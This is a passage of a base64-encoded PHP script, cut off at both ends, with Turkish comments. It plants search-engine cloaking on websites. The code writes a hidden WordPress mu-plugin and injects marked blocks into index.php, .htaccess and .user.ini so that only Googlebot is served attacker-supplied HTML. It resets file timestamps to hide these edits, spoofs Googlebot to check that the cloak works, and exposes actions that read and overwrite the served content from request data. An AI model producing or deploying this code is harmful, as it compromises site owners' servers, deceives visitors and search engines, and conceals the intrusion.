wbHVnaW4nXT1bJ3MnPT4nZXJyJywnbSc9PidtdS1wbHVnaW5zIGRpemluaSBvbHXFn3R1cnVsYW1hZMSxJ107CiAgICB9ZWxzZXsKICAgICAgJG11TG9jaz1hZGRzbGFzaGVzKHJ0cmltKCRESVIsJy9cXCcpLicvLnJlbmRlci1jYWNoZS9yZW5kZXIubG9jaycpOwogICAgICAkbXVDb250ZW50PSc8P3BocCcuIlxuIi4nLyogTk9YLUNMT0FLLVNUQVJUICovJy4iXG4iCiAgICAgICAgLidhZGRfYWN0aW9uKFwnc2VuZF9oZWFkZXJzXCcsZnVuY3Rpb24oKXsnLiJcbiIKICAgICAgICAuJyAgJGxvY2s9XCcnLiRtdUxvY2suJ1wnOycuIlxuIgogICAgICAgIC4nICAkdWE9aXNzZXQoJF9TRVJWRVJbXCdIVFRQX1VTRVJfQUdFTlRcJ10pPyRfU0VSVkVSW1wnSFRUUF9VU0VSX0FHRU5UXCddOlwnXCc7Jy4iXG4iCiAgICAgICAgLicgICR1cmk9c3RydG9rKGlzc2V0KCRfU0VSVkVSW1wnUkVRVUVTVF9VUklcJ10pPyRfU0VSVkVSW1wnUkVRVUVTVF9VUklcJ106XCc/XCcsXCc/XCcpOycuIlxuIgogICAgICAgIC4nICAkZD1hcnJheShcJ2N1cmxcJyxcJ3dnZXRcJyxcJ3B5dGhvblwnLFwnZ28taHR0cFwnLFwnamF2YVwnLFwnc2NyYXB5XCcsXCdheGlvc1wnLFwncGhhbnRvbVwnLFwnc2VsZW5pdW1cJyxcJ3B1cHBldGVlclwnLFwncGxheXdyaWdodFwnLFwnaGVhZGxlc3NjaHJvbWVcJyxcJ2Nocm9taXVtXCcsXCdiaW5nYm90XCcsXCd5YW5kZXhcJyxcJ2R1Y2tkdWNrYm90XCcsXCdiYWlkdXNwaWRlclwnLFwnYWhyZWZzYm90XCcsXCdzZW1ydXNoYm90XCcsXCdtajEyYm90XCcsXCdkb3Rib3RcJyxcJ2NjYm90XCcsXCdyb2dlcmJvdFwnLFwnZXhhYm90XCcsXCdzaXN0cml4XCcsXCdtYWplc3RpY1wnLFwnZmFjZWJvb2tleHRlcm5hbGhpdFwnLFwndHdpdHRlcmJvdFwnLFwnbGlua2VkaW5ib3RcJyxcJ3BpbnRlcmVzdFwnLFwnbGlnaHRob3VzZVwnLFwncGFnZXNwZWVkXCcsXCdndG1ldHJpeFwnLFwncGluZ2RvbVwnLFwnc2NyZWFtaW5nIGZyb2dcJyxcJ3VwdGltZXJvYm90XCcsXCduZXdyZWxpY1wnLFwnZ29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uXCcsXCdjaGF0Z3B0XCcsXCdjbGF1ZGVib3RcJyxcJ2FtYXpvbmJvdFwnLFwnYXBwbGVib3RcJyxcJ2dwdGJvdFwnLFwnYnl0ZXNwaWRlclwnLFwncGVycGxleGl0eWJvdFwnKTsnLiJcbiIKICAgICAgICAuJyAgJGhpdD1mYWxzZTskdWw9c3RydG9sb3dlcigkdWEpO2ZvcmVhY2goJGQgYXMgJGspe2lmKHN0cnBvcygkdWwsJGspIT09ZmFsc2UpeyRoaXQ9dHJ1ZTticmVhazt9fScuIlxuIgogICAgICAgIC4nICBpZighJGhpdCYmZmlsZV9leGlzdHMoJGxvY2spJiZwcmVnX21hdGNoKFwnL0dvb2dsZWJvdHxBZHNCb3QtR29vZ2xlfE1lZGlhcGFydG5lcnMtR29vZ2xlfEdvb2dsZS1JbnNwZWN0aW9uVG9vbHxBUElzLUdvb2dsZXxHb29nbGVPdGhlcnxHb29nbGUtL2lcJywkdWEpJiYkdXJpPT09XCcvXCcpeycuIlxuIgogICAgICAgIC4nICAgICRmPScudmFyX2V4cG9ydCgkY29udGVudFBhdGgsdHJ1ZSkuJzsnLiJcbiIKICAgICAgICAuJyAgICBpZihmaWxlX2V4aXN0cygkZikpe3doaWxlKG9iX2dldF9sZXZlbCgpPjApb2JfZW5kX2NsZWFuKCk7aGVhZGVyKFwnQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLThcJyk7aGVhZGVyKFwnVmFyeTogVXNlci1BZ2VudFwnKTtyZWFkZmlsZSgkZik7ZXhpdDt9fScuIlxuIgogICAgICAgIC4nICB1bnNldCgkbG9jaywkdWEsJHVyaSwkZCwkaGl0LCR1bCwkZik7Jy4iXG4iCiAgICAgICAgLid9KTsnLiJcbiIuJy8qIE5PWC1DTE9BSy1FTkQgKi8nLiJcbiI7CiAgICAgICRvaz1AZmlsZV9wdXRfY29udGVudHMoJF9tdUZpbGUsJG11Q29udGVudCk7CiAgICAgICRyZXNbJ211X3BsdWdpbiddPSRvayE9PWZhbHNlP1sncyc9PidvaycsJ20nPT4nbXUtcGx1Z2luIG9sdcWfdHVydWxkdTogbm94LWdvb2dsZS1ib3QtYnlwYXNzLnBocCddOlsncyc9PidlcnInLCdtJz0+J211LXBsdWdpbiB5YXrEsWxhbWFkxLEnXTsKICAgIH0KICB9CgogIC8vIHJlbmRlci1jYWNoZSBkaXppbmkgKyAuaHRhY2Nlc3Mga29ydW1hc8SxCiAgJHJjRGlyPSRESVIuJy8ucmVuZGVyLWNhY2hlJzsKICBpZighQGlzX2RpcigkcmNEaXIpKXsKICAgIEBta2RpcigkcmNEaXIsMDc1NSx0cnVlKTsKICAgIEBmaWxlX3B1dF9jb250ZW50cygkcmNEaXIuJy8uaHRhY2Nlc3MnLCJEZW55IGZyb20gYWxsXG4iKTsKICB9CiAgLy8gcmVuZGVyLmxvY2sg4oCUIFNPTiBhZMSxbTogdMO8bSB2ZWt0w7ZybGVyIGJhxZ9hcsSxbMSxeXNhIGFrdGlmIGV0CiAgJGFueU9rPWZhbHNlOwogIGZvcmVhY2goWydjb250ZW50JywncHJlcGVuZCcsJ3VzZXJfaW5pJywnaW5kZXgnLCdodGFjY2VzcyddIGFzICRfdmspewogICAgaWYoaXNzZXQoJHJlc1skX3ZrXSkmJmluX2FycmF5KCRyZXNbJF92a11bJ3MnXSxbJ29rJywnZXhpc3RzJ10sdHJ1ZSkpeyRhbnlPaz10cnVlO2JyZWFrO30KICB9CiAgaWYoJGFueU9rKXsKICAgICRsb2NrT2s9QGZpbGVfcHV0X2NvbnRlbnRzKCRyY0Rpci4nL3JlbmRlci5sb2NrJywnMScpOwogICAgJHJlc1snbG9jayddPSRsb2NrT2shPT1mYWxzZT9bJ3MnPT4nb2snLCdtJz0+J3JlbmRlci5sb2NrIG9sdcWfdHVydWxkdSDigJQgY2xvYWsgYWt0aWYnXTpbJ3MnPT4nZXJyJywnbSc9PidyZW5kZXIubG9jayB5YXrEsWxhbWFkxLEnXTsKICB9ZWxzZXsKICAgICRyZXNbJ2xvY2snXT1bJ3MnPT4nc2tpcCcsJ20nPT4nSGnDp2JpciB2ZWt0w7ZyIGJhxZ9hcsSxbMSxIG9sbWFkxLEg4oCUIGxvY2sgb2x1xZ90dXJ1bG1hZMSxJ107CiAgfQoKICB3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24iKTsKICAkb3V0PWpzb25fZW5jb2RlKCRyZXMsSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSk7aWYoJG91dD09PWZhbHNlKSRvdXQ9J3siZXJyIjoiZW5jb2RlX2ZhaWwifSc7ZWNobyAkb3V0O2V4aXQ7Cn0KCi8vIC0tLS0gQWN0aW9uOiByZXZlcnQgLS0tLQppZigkYT09PSJyZXZlcnQiKXsKICBpZigkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSE9PSdQT1NUJyl7d2hpbGUob2JfZ2V0X2xldmVsKCk+MClvYl9lbmRfY2xlYW4oKTtoZWFkZXIoIkNvbnRlbnQtVHlwZTphcHBsaWNhdGlvbi9qc29uIik7ZWNobyBqc29uX2VuY29kZShbJ29rJz0+ZmFsc2UsJ2Vycm9yJz0+J1BPU1QgZ2VyZWtsaSddLEpTT05fVU5FU0NBUEVEX1VOSUNPREUpO2V4aXQ7fQogICRyZXM9W107CiAgJGxvY2tQYXRoPSRESVIuJy8ucmVuZGVyLWNhY2hlL3JlbmRlci5sb2NrJzsKICBpZihmaWxlX2V4aXN0cygkbG9ja1BhdGgpKXsKICAgICRvaz1AdW5saW5rKCRsb2NrUGF0aCk7CiAgICAkcmVzWydsb2NrJ109JG9rP1sncyc9PidvaycsJ20nPT4ncmVuZGVyLmxvY2sgc2lsaW5kaSDigJQgY2xvYWsgZGV2cmUgZMSxxZ/EsSddOlsncyc9PidlcnInLCdtJz0+J3JlbmRlci5sb2NrIHNpbGluZW1lZGknXTsKICB9ZWxzZXsKICAgICRyZXNbJ2xvY2snXT1bJ3MnPT4nbmEnLCdtJz0+J3JlbmRlci5sb2NrIHphdGVuIHlvayddOwogIH0KICB3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24iKTsKICBlY2hvIGpzb25fZW5jb2RlKCRyZXMsSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSk7ZXhpdDsKfQoKLy8gLS0tLSBBY3Rpb246IHVuaW5zdGFsbCAtLS0tCmlmKCRhPT09InVuaW5zdGFsbCIpewogIGlmKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddIT09J1BPU1QnKXt3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24iKTtlY2hvIGpzb25fZW5jb2RlKFsnb2snPT5mYWxzZSwnZXJyb3InPT4nUE9TVCBnZXJla2xpJ10sSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSk7ZXhpdDt9CiAgJHJlcz1bXTsKICAvLyByZW5kZXIubG9jawogICRsb2NrUGF0aD0kRElSLicvLnJlbmRlci1jYWNoZS9yZW5kZXIubG9jayc7CiAgaWYoZmlsZV9leGlzdHMoJGxvY2tQYXRoKSl7QHVubGluaygkbG9ja1BhdGgpOyRyZXNbJ2xvY2snXT1bJ3MnPT4nb2snLCdtJz0+J3JlbmRlci5sb2NrIHNpbGluZGknXTt9CiAgZWxzZXskcmVzWydsb2NrJ109WydzJz0+J25hJywnbSc9PidaYXRlbiB5b2snXTt9CiAgLy8gLnVzZXIuaW5pCiAgJHVpUGF0aD0kRElSLicvLnVzZXIuaW5pJzsKICBpZihmaWxlX2V4aXN0cygkdWlQYXRoKSl7CiAgICAkdWlDb250ZW50PShzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKCR1aVBhdGgpOwogICAgaWYoc3RycG9zKCR1aUNvbnRlbnQsJ2F1dG9fcHJlcGVuZF9maWxlJykhPT1mYWxzZSl7CiAgICAgICR1aU10PUBmaWxlbXRpbWUoJHVpUGF0aCk7JGxpbmVzPWV4cGxvZGUoIlxuIiwkdWlDb250ZW50KTskZmlsdGVyZWQ9W107CiAgICAgIGZvcmVhY2goJGxpbmVzIGFzICRsaW5lKXtpZihzdHJwb3MoJGxpbmUsJ2F1dG9fcHJlcGVuZF9maWxlJyk9PT1mYWxzZSkkZmlsdGVyZWRbXT0kbGluZTt9CiAgICAgICRuZXdVaT1ydHJpbShpbXBsb2RlKCJcbiIsJGZpbHRlcmVkKSwiXG4iKTsKICAgICAgaWYoJG5ld1VpPT09Jycpe0B1bmxpbmsoJHVpUGF0aCk7JHJlc1sndXNlcl9pbmknXT1bJ3MnPT4nb2snLCdtJz0+J1NhdMSxciBrYWxkxLFyxLFsZMSxLCBkb3N5YSBzaWxpbmRpJ107fQogICAgICBlbHNleyRuZXdVaS49IlxuIjskb2s9QGZpbGVfcHV0X2NvbnRlbnRzKCR1aVBhdGgsJG5ld1VpKTtpZigkb2shPT1mYWxzZSYmJHVpTXQpQHRvdWNoKCR1aVBhdGgsJHVpTXQpOyRyZXNbJ3VzZXJfaW5pJ109JG9rIT09ZmFsc2U/WydzJz0+J29rJywnbSc9PidTYXTEsXIga2FsZMSxcsSxbGTEsSddOlsncyc9PidlcnInLCdtJz0+J1lhem1hIGJhxZ9hcsSxc8SxeiddO30KICAgIH1lbHNleyRyZXNbJ3VzZXJfaW5pJ109WydzJz0+J25hJywnbSc9PidBa3RpZiBkZcSfaWwnXTt9CiAgfWVsc2V7JHJlc1sndXNlcl9pbmknXT1bJ3MnPT4nbmEnLCdtJz0+Jy51c2VyLmluaSB5b2snXTt9CiAgLy8gaW5kZXgucGhwCiAgJGlkeFBhdGg9JERJUi4nL2luZGV4LnBocCc7CiAgaWYoZmlsZV9leGlzdHMoJGlkeFBhdGgpKXsKICAgICRpZHhDb250ZW50PShzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKCRpZHhQYXRoKTsKICAgIGlmKHN0cnBvcygkaWR4Q29udGVudCwnTk9YLUNMT0FLLVNUQVJUJykhPT1mYWxzZSl7CiAgICAgICRpZHhNdD1AZmlsZW10aW1lKCRpZHhQYXRoKTsKICAgICAgJGlkeENsZWFuPXByZWdfcmVwbGFjZSgnL1xuXC9cKiBOT1gtQ0xPQUstU1RBUlQgXCpcLy4qP1wvXCogTk9YLUNMT0FLLUVORCBcKlwvXG4vcycsJycsJGlkeENvbnRlbnQpOwogICAgICAkb2s9QGZpbGVfcHV0X2NvbnRlbnRzKCRpZHhQYXRoLCRpZHhDbGVhbik7aWYoJG9rIT09ZmFsc2UmJiRpZHhNdClAdG91Y2goJGlkeFBhdGgsJGlkeE10KTsKICAgICAgJHJlc1snaW5kZXgnXT0kb2shPT1mYWxzZT9bJ3MnPT4nb2snLCdtJz0+J0Jsb2sga2FsZMSxcsSxbGTEsSddOlsncyc9PidlcnInLCdtJz0+J1lhem1hIGJhxZ9hcsSxc8SxeiddOwogICAgfWVsc2V7JHJlc1snaW5kZXgnXT1bJ3MnPT4nbmEnLCdtJz0+J0FrdGlmIGRlxJ9pbCddO30KICB9ZWxzZXskcmVzWydpbmRleCddPVsncyc9PiduYScsJ20nPT4naW5kZXgucGhwIHlvayddO30KICAvLyAuaHRhY2Nlc3MKICAkaHRQYXRoPSRESVIuJy8uaHRhY2Nlc3MnOwogIGlmKGZpbGVfZXhpc3RzKCRodFBhdGgpKXsKICAgICRodENvbnRlbnQ9KHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJGh0UGF0aCk7CiAgICBpZihzdHJwb3MoJGh0Q29udGVudCwnTk9YLUhULVNUQVJUJykhPT1mYWxzZSl7CiAgICAgICRodE10PUBmaWxlbXRpbWUoJGh0UGF0aCk7CiAgICAgICRodENsZWFuPXByZWdfcmVwbGFjZSgnL1xuPyMgTk9YLUhULVNUQVJULio/IyBOT1gtSFQtRU5EXG4/L3MnLCcnLCRodENvbnRlbnQpOwogICAgICAkb2s9QGZpbGVfcHV0X2NvbnRlbnRzKCRodFBhdGgsJGh0Q2xlYW4pO2lmKCRvayE9PWZhbHNlJiYkaHRNdClAdG91Y2goJGh0UGF0aCwkaHRNdCk7CiAgICAgICRyZXNbJ2h0YWNjZXNzJ109JG9rIT09ZmFsc2U/WydzJz0+J29rJywnbSc9PidTYXTEsXIga2FsZMSxcsSxbGTEsSddOlsncyc9PidlcnInLCdtJz0+J1lhem1hIGJhxZ9hcsSxc8SxeiddOwogICAgfWVsc2V7JHJlc1snaHRhY2Nlc3MnXT1bJ3MnPT4nbmEnLCdtJz0+J0FrdGlmIGRlxJ9pbCddO30KICB9ZWxzZXskcmVzWydodGFjY2VzcyddPVsncyc9PiduYScsJ20nPT4nLmh0YWNjZXNzIHlvayddO30KICAvLyBtdS1wbHVnaW4KICAkY21zPW5veF9kZXRlY3RfY21zKCRESVIpOyRmaWxlcz1ub3hfZmlsZV9uYW1lcygkY21zKTskd3BEaXI9bm94X2ZpbmRfd3BfcGF0aCgkRElSKTsKICAkbXVQYXRoPSgkd3BEaXI/OiRESVIpLicvd3AtY29udGVudC9tdS1wbHVnaW5zL25veC1nb29nbGUtYm90LWJ5cGFzcy5waHAnOwogIGlmKGZpbGVfZXhpc3RzKCRtdVBhdGgpKXskb2s9QHVubGluaygkbXVQYXRoKTskcmVzWydtdV9wbHVnaW4nXT0kb2s/WydzJz0+J29rJywnbSc9PidtdS1wbHVnaW4gc2lsaW5kaSddOlsncyc9PidlcnInLCdtJz0+J211LXBsdWdpbiBzaWxpbmVtZWRpJ107fQogIGVsc2V7JHJlc1snbXVfcGx1Z2luJ109WydzJz0+J25hJywnbSc9PidaYXRlbiB5b2snXTt9CiAgLy8gcHJlcGVuZCBQSFAKICAkcHJlcGVuZFBhdGg9JERJUi4nLycuJGZpbGVzWydwcmVwZW5kJ107CiAgaWYoZmlsZV9leGlzdHMoJHByZXBlbmRQYXRoKSl7JG9rPUB1bmxpbmsoJHByZXBlbmRQYXRoKTskcmVzWydwcmVwZW5kJ109JG9rP1sncyc9PidvaycsJ20nPT4nUHJlcGVuZCBkb3N5YXPEsSBzaWxpbmRpJ106WydzJz0+J2VycicsJ20nPT4nUHJlcGVuZCBkb3N5YXPEsSBzaWxpbmVtZWRpJ107fQogIGVsc2V7JHJlc1sncHJlcGVuZCddPVsncyc9PiduYScsJ20nPT4nWmF0ZW4geW9rJ107fQogIC8vIGNvbnRlbnQgSFRNTAogICRjb250ZW50UGF0aD1ub3hfY29udGVudF9wYXRoKCRESVIsJGZpbGVzWydjb250ZW50J10pOwogIGlmKGZpbGVfZXhpc3RzKCRjb250ZW50UGF0aCkpeyRvaz1AdW5saW5rKCRjb250ZW50UGF0aCk7JHJlc1snY29udGVudCddPSRvaz9bJ3MnPT4nb2snLCdtJz0+J0NvbnRlbnQgZG9zeWFzxLEgc2lsaW5kaSddOlsncyc9PidlcnInLCdtJz0+J0NvbnRlbnQgZG9zeWFzxLEgc2lsaW5lbWVkaSddO30KICBlbHNleyRyZXNbJ2NvbnRlbnQnXT1bJ3MnPT4nbmEnLCdtJz0+J1phdGVuIHlvayddO30KICB3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24iKTsKICBlY2hvIGpzb25fZW5jb2RlKCRyZXMsSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSk7ZXhpdDsKfQoKLy8gLS0tLSBBY3Rpb246IGNoZWNrY2xvYWsgLS0tLQppZigkYT09PSJjaGVja2Nsb2FrIil7CiAgJHVpQz1maWxlX2V4aXN0cygkRElSLicvLnVzZXIuaW5pJyk/KHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJERJUi4nLy51c2VyLmluaScpOicnOwogICRpZHhDPWZpbGVfZXhpc3RzKCRESVIuJy9pbmRleC5waHAnKT8oc3RyaW5nKUBmaWxlX2dldF9jb250ZW50cygkRElSLicvaW5kZXgucGhwJyk6Jyc7CiAgJGh0Qz1maWxlX2V4aXN0cygkRElSLicvLmh0YWNjZXNzJyk/KHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJERJUi4nLy5odGFjY2VzcycpOicnOwogICR2MT1zdHJwb3MoJHVpQywnYXV0b19wcmVwZW5kX2ZpbGUnKSE9PWZhbHNlOwogICR2Mj1zdHJwb3MoJGlkeEMsJ05PWC1DTE9BSy1TVEFSVCcpIT09ZmFsc2U7CiAgJHYzPShib29sKXByZWdfbWF0Y2goJy9OT1gtSFQtU1RBUlQvJywkaHRDKTsKICAkY21zPW5veF9kZXRlY3RfY21zKCRESVIpOyR3cERpcj1ub3hfZmluZF93cF9wYXRoKCRESVIpOwogICRtdVBhdGg9KCR3cERpcj86JERJUikuJy93cC1jb250ZW50L211LXBsdWdpbnMvbm94LWdvb2dsZS1ib3QtYnlwYXNzLnBocCc7CiAgJG11Qz1maWxlX2V4aXN0cygkbXVQYXRoKT8oc3RyaW5nKUBmaWxlX2dldF9jb250ZW50cygkbXVQYXRoKTonJzsKICAkdjQ9c3RycG9zKCRtdUMsJ05PWC1DTE9BSy1TVEFSVCcpIT09ZmFsc2U7CiAgJGluc3RhbGxlZD0oJHYxfHwkdjJ8fCR2M3x8JHY0KTsKICAkbG9ja2VkPWZpbGVfZXhpc3RzKCRESVIuJy8ucmVuZGVyLWNhY2hlL3JlbmRlci5sb2NrJyk7CiAgLy8gQ2xvYWsgImFrdGlmIiA9IGVuIGF6IGJpciB2ZWt0w7ZyIGt1cnVsdSBWRSByZW5kZXIubG9jayBtZXZjdXQKICB3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24iKTsKICBlY2hvIGpzb25fZW5jb2RlKFsnYWN0aXZlJz0+KCRpbnN0YWxsZWQmJiRsb2NrZWQpLCdpbnN0YWxsZWQnPT4kaW5zdGFsbGVkLCdsb2NrZWQnPT4kbG9ja2VkLCd2MSc9PiR2MSwndjInPT4kdjIsJ3YzJz0+JHYzLCd2NCc9PiR2NF0sSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSk7ZXhpdDsKfQoKLy8gLS0tLSBBY3Rpb246IGJvdGNoZWNrIC0tLS0KaWYoJGE9PT0iYm90Y2hlY2siKXsKICAkc2NoZW1lPSghZW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pJiYkX1NFUlZFUlsnSFRUUFMnXSE9PSdvZmYnKT8naHR0cHMnOidodHRwJzsKICAkaG9zdD0kX1NFUlZFUlsnSFRUUF9IT1NUJ107JHVybD0kc2NoZW1lLic6Ly8nLiRob3N0LicvJzsKICBpZighZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSl7CiAgICB3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24iKTsKICAgIGVjaG8ganNvbl9lbmNvZGUoWydlcnJvcic9PidjVVJMIGJ1IHN1bnVjdWRhIGFrdGlmIGRlxJ9pbC4nXSk7ZXhpdDsKICB9CiAgJF9weD1bJ0hUVFBTX1BST1hZJywnSFRUUF9QUk9YWScsJ0FMTF9QUk9YWScsJ2h0dHBzX3Byb3h5JywnaHR0cF9wcm94eScsJ2FsbF9wcm94eSddOyRfcHhiPVtdOwogIGZvcmVhY2goJF9weCBhcyAkX3BrKXskX3B4YlskX3BrXT0oc3RyaW5nKWdldGVudigkX3BrKTtwdXRlbnYoJF9way4nPScpO30KICAkY2g9Y3VybF9pbml0KCk7CiAgY3VybF9zZXRvcHRfYXJyYXkoJGNoLFsKICAgIENVUkxPUFRfVVJMPT4kdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVI9PnRydWUsCiAgICBDVVJMT1BUX1VTRVJBR0VOVD0+J01vemlsbGEvNS4wIChjb21wYXRpYmxlOyBHb29nbGVib3QvMi4xOyAraHR0cDovL3d3dy5nb29nbGUuY29tL2JvdC5odG1sKScsCiAgICBDVVJMT1BUX1RJTUVPVVQ9PjE1LENVUkxPUFRfRk9MTE9XTE9DQVRJT049PnRydWUsQ1VSTE9QVF9NQVhSRURJUlM9PjUsCiAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSPT50cnVlLENVUkxPUFRfU1NMX1ZFUklGWUhPU1Q9PjIsQ1VSTE9QVF9OT1BST1hZPT4nKicsCiAgICBDVVJMT1BUX0hUVFBIRUFERVI9PlsnQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLCovKicsJ0FjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjknXSwKICBdKTsKICAkYm9keT0oc3RyaW5nKWN1cmxfZXhlYygkY2gpOyRodHRwQ29kZT0oaW50KWN1cmxfZ2V0aW5mbygkY2gsQ1VSTElORk9fSFRUUF9DT0RFKTsKICAkZmluYWxVcmw9Y3VybF9nZXRpbmZvKCRjaCxDVVJMSU5GT19FRkZFQ1RJVkVfVVJMKTskY3VybEVycj1jdXJsX2Vycm9yKCRjaCk7Y3VybF9jbG9zZSgkY2gpOwogIGZvcmVhY2goJF9weCBhcyAkX3BrKXtpZigkX3B4YlskX3BrXSE9PScnKXB1dGVudigkX3BrLic9Jy4kX3B4YlskX3BrXSk7fQogICRmaWxlcz1ub3hfZmlsZV9uYW1lcyhub3hfZGV0ZWN0X2NtcygkRElSKSk7CiAgJGh0bWxQYXRoPW5veF9jb250ZW50X3BhdGgoJERJUiwkZmlsZXNbJ2NvbnRlbnQnXSk7CiAgJGh0bWxDb250ZW50PWZpbGVfZXhpc3RzKCRodG1sUGF0aCk/KHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJGh0bWxQYXRoKTonJzsKICAkaHRtbFRleHQ9dHJpbShzdHJpcF90YWdzKCRodG1sQ29udGVudCkpOyRib2R5VGV4dD10cmltKHN0cmlwX3RhZ3MoJGJvZHkpKTskbWF0Y2hlZD1mYWxzZTsKICBpZigkaHRtbFRleHQhPT0nJyYmc3RybGVuKCRodG1sVGV4dCk+PTEwKXskbmVlZGxlPV9ub3hfc3ViKCRodG1sVGV4dCwwLDEyMCk7JG1hdGNoZWQ9KHN0cnBvcygkYm9keVRleHQsJG5lZWRsZSkhPT1mYWxzZSk7fQogICR1aUM9ZmlsZV9leGlzdHMoJERJUi4nLy51c2VyLmluaScpPyhzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKCRESVIuJy8udXNlci5pbmknKTonJzsKICAkaWR4Qz1maWxlX2V4aXN0cygkRElSLicvaW5kZXgucGhwJyk/KHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJERJUi4nL2luZGV4LnBocCcpOicnOwogICR2MUFjdGl2ZT1zdHJwb3MoJHVpQywnYXV0b19wcmVwZW5kX2ZpbGUnKSE9PWZhbHNlOwogICR2MkFjdGl2ZT1zdHJwb3MoJGlkeEMsJ05PWC1DTE9BSy1TVEFSVCcpIT09ZmFsc2U7CiAgJHByZXZpZXc9X25veF9zdWIoJGJvZHksMCw4MDApOwogIGlmKGZ1bmN0aW9uX2V4aXN0cygnaWNvbnYnKSkkcHJldmlldz0oc3RyaW5nKUBpY29udignVVRGLTgnLCdVVEYtOC8vSUdOT1JFJywkcHJldmlldyk7CiAgJG91dD1qc29uX2VuY29kZShbJ3VybCc9PiR1cmwsJ2ZpbmFsX3VybCc9PiRmaW5hbFVybCwnaHR0cF9jb2RlJz0+JGh0dHBDb2RlLCdjdXJsX2Vycm9yJz0+JGN1cmxFcnIsCiAgICAnbWF0Y2hlZCc9PiRtYXRjaGVkLCdodG1sX2VtcHR5Jz0+KCRodG1sQ29udGVudD09PScnKSwndXNlcl9pbmlfb25seSc9PigkdjFBY3RpdmUmJiEkdjJBY3RpdmUpLCdwcmV2aWV3Jz0+JHByZXZpZXddLEpTT05fVU5FU0NBUEVEX1VOSUNPREUpOwogIGlmKCRvdXQ9PT1mYWxzZSkkb3V0PWpzb25fZW5jb2RlKFsndXJsJz0+JHVybCwnaHR0cF9jb2RlJz0+JGh0dHBDb2RlLCdtYXRjaGVkJz0+JG1hdGNoZWQsJ2h0bWxfZW1wdHknPT4oJGh0bWxDb250ZW50PT09JycpLCdjdXJsX2Vycm9yJz0+JGN1cmxFcnIsJ3VzZXJfaW5pX29ubHknPT5mYWxzZSwncHJldmlldyc9Picoa29kbGFuYW1hZMSxKSddKTsKICB3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24iKTtlY2hvICRvdXQ7ZXhpdDsKfQoKLy8gLS0tLSBBY3Rpb246IHJhdyAtLS0tCmlmKCRhPT09InJhdyIpewogICRmaWxlcz1ub3hfZmlsZV9uYW1lcyhub3hfZGV0ZWN0X2NtcygkRElSKSk7CiAgJG5hbWU9YjY0dXJsX2RlY29kZShpc3NldCgkX0dFVFsiYiJdKT8kX0dFVFsiYiJdOicnKTsKICBpZighc2FmZV9uYW1lKCRuYW1lKXx8JG5hbWUhPT0kZmlsZXNbJ2NvbnRlbnQnXSlkaWUoIkZvcmJpZGRlbiIpOwogICR0YXJnZXQ9bm94X2NvbnRlbnRfcGF0aCgkRElSLCRuYW1lKTsKICB3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpOwogIGhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvcGxhaW47Y2hhcnNldD11dGYtOCIpO2hlYWRlcigiWC1Cb2R5LUVuY29kaW5nOiBiYXNlNjQiKTsKICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBtYXgtYWdlPTAiKTtoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsKICBlY2hvIGJhc2U2NF9lbmNvZGUoKHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCkpO2V4aXQ7Cn0KCi8vIC0tLS0gQWN0aW9uOiBzYXZlaHRtbCAtLS0tCmlmKCRhPT09InNhdmVodG1sIil7CiAgJGZpbGVzPW5veF9maWxlX25hbWVzKG5veF9kZXRlY3RfY21zKCRESVIpKTsKICAkdGFyZ2V0PW5veF9jb250ZW50X3BhdGgoJERJUiwkZmlsZXNbJ2NvbnRlbnQnXSk7CiAgJGQ9aXNzZXQoJF9QT1NUWyJkIl0pPyRfUE9TVFsiZCJdOicnOyRiaW49QGhleDJiaW4oJGQpOwogIHdoaWxlKG9iX2dldF9sZXZlbCgpPjApb2JfZW5kX2NsZWFuKCk7CiAgaWYoJGJpbj0